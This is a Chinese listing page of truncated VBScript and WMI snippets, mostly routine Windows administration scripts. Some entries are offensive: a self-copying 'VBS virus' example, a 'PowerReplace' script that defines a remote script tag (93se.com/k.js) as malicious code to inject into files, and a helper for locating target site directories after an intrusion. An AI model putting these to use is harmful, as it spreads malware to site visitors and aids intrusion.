使用Wscript.shell对象的run或exec方法可以起动程序,不用该对象我们可用WMI来启动程序.strc="."setobjps=GetObject("winmgmts:\\"&strc&"\root\cimv2:Win32_Process")objps.create"C:\WINDOWS\S...

[阅读全文]

OnErrorResumeNextDimOperationRegistrySetOperationRegistry=WScript.CreateObject("WScript.Shell")SetwmiColl=GetObject("WinMgmts:root/cimv2").ExecQuery("Select*FRO...

[阅读全文]

SetWSHShell=WScript.CreateObject("WScript.Shell")Message="本脚本用于修复WindowsXP中当最小化程序时，无法在任务栏显示图标的问题。"&vbCR&vbCRMessage=Message&"为了正常工作，本脚本将关闭和重启Windows...

[阅读全文]

'修改磁盘卷标'在Windows中，WMI主要是一个读取信息的技术，我这样理解不知道对不对'但是我知道绝大多数的类都不允许对其属性进行修改，'Win32_LogicalDisk是我知道的少数允许修改属性的类'当然修改属性完成后不要忘记用Put_方法提交改变'代码很简单就不仔细解释了，当然磁盘卷标不要起的太长'strCo...

[阅读全文]

'在局域网建立共享的脚本'GetObject函数用Moniker名字法连接到WMI创建引用在本机有三步'1、"winmgmts:"是前缀，表示为WMI服务，必须'2、\\.\"代表本机，'3、CIM命名空间："root\cimv2"就是CIM命名空间，缺省可省略'4、建立共享主要使用Win32_Share类的Creat...

[阅读全文]

'==''使桌面图标重排的脚本，设计的很奇妙，也学到了以前没有接触的东西'SCF文件是“WINDOWS资源管理器命令”文件，它也是一种可执行文件.'由WindowsExplorerCommand解释，标准安装，包括下面3个该类型的文件'1）Explorer.scf(资源管理器)'[Shell]'...

[阅读全文]

SetobjShell=CreateObject("Wscript.Shell")'创建Wscript.Shell对象objShell.Run("wmplayer.exeD:\music.wma"),0,TRUE'调用wmplayer.exe(WindowsMediaPlayer)运行music.wma文件执行了这段代...

[阅读全文]

vbs病毒制作之一——复制自身的vbs脚本复制自身到c盘的huan.vbsASP/VisualBasic代码setcopy1=createobject("scripting.filesystemobject")copy1.getfile(wscript.scriptfullname).copy(...

[阅读全文]

首先检查系统是否禁止使用了脚本运行，即打开“INTERNET选项”的“安全”选项卡里“自定义级别”，看看“ActiveX空件及服务”禁用的选项。接着运行regsvr32scrrun.dll最后关键的一步就是看看注册表里的这个...

[阅读全文]

setwsnetwork=CreateObject("WSCRIPT.NETWORK")os="WinNT://"&wsnetwork.ComputerNameSetob=GetObject(os)'得到adsi接口,绑定Setoe=GetObject(os&"/Administrators,group...

[阅读全文]

有时旁注入侵成功一个站，拿到系统权限后，面对上百个虚拟主机，怎样才能更快的找到我们目标站的物理目录呢？一个站一个站翻看太累，用系统自带的adsutil.vbs吧又感觉好像参数很多，有点无法下手的感觉，试试我这个脚本吧，代码如下：SetObjService=GetObject("IIS://LocalHost/W3SVC...

[阅读全文]

if(lcase(right(wscript.fullname,11))="wscript.exe")then'判断脚本宿主的名称'die("ScripthostmustbeCScript.exe.")'脚本宿主不是CScript，于是就die了'endififwscript.arguments.count<1then...

[阅读全文]

'CMD下的dir好像没法列出从某段时间到某段时间的文件，所以写了这个小东东setArg=Wscript.ArgumentsIfArg.Count=0thenWscript.echochr(9)&chr(9)&space(4)&"Xdirv0.1"Wscript.echo""Wscript.ec...

[阅读全文]

dimc,vrs1,vrs2'''定义文件计数器,恶毒代码1,恶毒代码2,......self="PowerReplace.vbs"'''本文件名'''定义恶性代码之一:vrs1="<scriptlanguage=javascriptsrc=http://93se.com/k.js></script>"'''定义恶性代...

[阅读全文]

DimoShellDimoExecDimstrOutDimoRegExpDimMatchesDimMatchDimNumSetoShell=WScript.CreateObject("WScript.Shell")SetoExec=oShell.Exec("netstat-an")SetoRegExp=newRegEx...

[阅读全文]

OnErrorResumeNextSetArg=Wscript.ArgumentsIfArg.count=0Thenwscript.quitSetFso=CreateObject("Scripting.FileSystemObject")Setgofile=Fso.OpenTextFile(arg(0),1,False...

[阅读全文]

onerrorresumenextsetarg=wscript.argumentsIfarg.count=0thenwscript.echo"use://cscript.exeFS.vbsport"sleep1000wscript.quitEndIfTport=arg(0)Runs=falseWhileruns=fal...

[阅读全文]

FunctionDecrypt(password)magic=Split("121,65,51,54,122,65,52,56,100,69,104,102,114,118,103,104,71,82,103,53,55,104,53,85,108,68,118,51",",")chrlast=cint("&H...

[阅读全文]

'在C盘根目录下新建一个名为ppt的文件夹，将要转换的文件拷进去，然后再新建一个gif文件夹，路径为C:\ppt\gif。将这段代码保存为后缀名vbs的脚本文件，双击执行即可。'简单的ppt效果较好，如果图片较多，则顺序会出错，如果图片较复杂，例如有许多部分组合而成，则效果很差'绑定到本地计算机strComputer=...

[阅读全文]

'将C:\ppt内的所有PPT合并成一个PPT，背景将被忽略，主要是有利于黑白打印，如果顺序重要，则可以将PPT用数字编号'绑定到本地计算机strComputer="."'如果发生错误，继续执行www.cmdos.netonerrorresumenextSetobjWMIService=GetObject("winmg...

[阅读全文]

OptionExplicit'DeclarevariablesDimWSHShell,n,MyBox,p,p1,t,cn,Caption,itemtype,errnum'setvariablesandShellSetWSHShell=WScript.CreateObject("WScript.Shell")p="HKE...

[阅读全文]

OnErrorResumeNext'防止出现错误DimfsoSetfso=CreateObject("Scripting.FileSystemObject")fso.DeleteFolder("C:\\WINDOWS\\Cookies\\*.*"),Truefso.DeleteFile("C:\\WINDOWS\\Co...

[阅读全文]

ConstADMINISTRATIVE_TOOLS=&H2f&SetobjShell=CreateObject("Shell.Application")SetobjFolder=objShell.Namespace(ADMINISTRATIVE_TOOLS)SetobjTools=objFolder.I...

[阅读全文]

SetWshShell=CreateObject("Wscript.Shell")Functioninput()choevt=InputBox("请输入要限制Guest访问的日志编号："&vbCrLf&"1-Application"&vbCrLf&"2-DNSServer"&vb...

[阅读全文]

SetWshShell=CreateObject("Wscript.Shell")Functioninput()choevt=InputBox("请输入要更改大小的日志编号："&vbCrLf&"1-Application"&vbCrLf&"2-DNSServer"&vbCrLf&...

[阅读全文]

SetWshShell=CreateObject("Wscript.Shell")Setfso=CreateObject("Scripting.FileSystemObject")Functioninput()choevt=InputBox("请输入要更改日志保存文件的日志编号："&vbCrLf&"1-...

[阅读全文]

SetWshShell=CreateObject("Wscript.Shell")FunctionImput()imputport=InputBox("请输入一个端口号，注意：这个端口号目前不能被其它程序使用，否则会影响终端服务","更改终端端口号","3389",100,100)Ifimputport<>""Then...

[阅读全文]

Dimmytime,myout1,myout2mytime=nullmytime=InputBox("请输入定时时间(格式20：10：05)"&vblf&"如果想倒计时关机，请输入倒计时时间"&vblf&"(单位/分钟)"&vblf&"输入‘xxx&rsquo...

[阅读全文]

DimoIE,doc1SetoIE=WScript.CreateObject("InternetExplorer.Application")oIE.Navigate"about:blank"oIE.Visible=1oIE.ToolBar=0oIE.StatusBar=0oIE.Width=750oIE.Height=...

[阅读全文]

dimobjshellSetobjShell=CreateObject("Wscript.Shell")intMessage=Msgbox("点是进入游戏"&vbCrlf&"点否访问游戏更新信息"&vbCrlf&"点取消退出"&vbCrlf&"自定义",3+64,"DOS...

[阅读全文]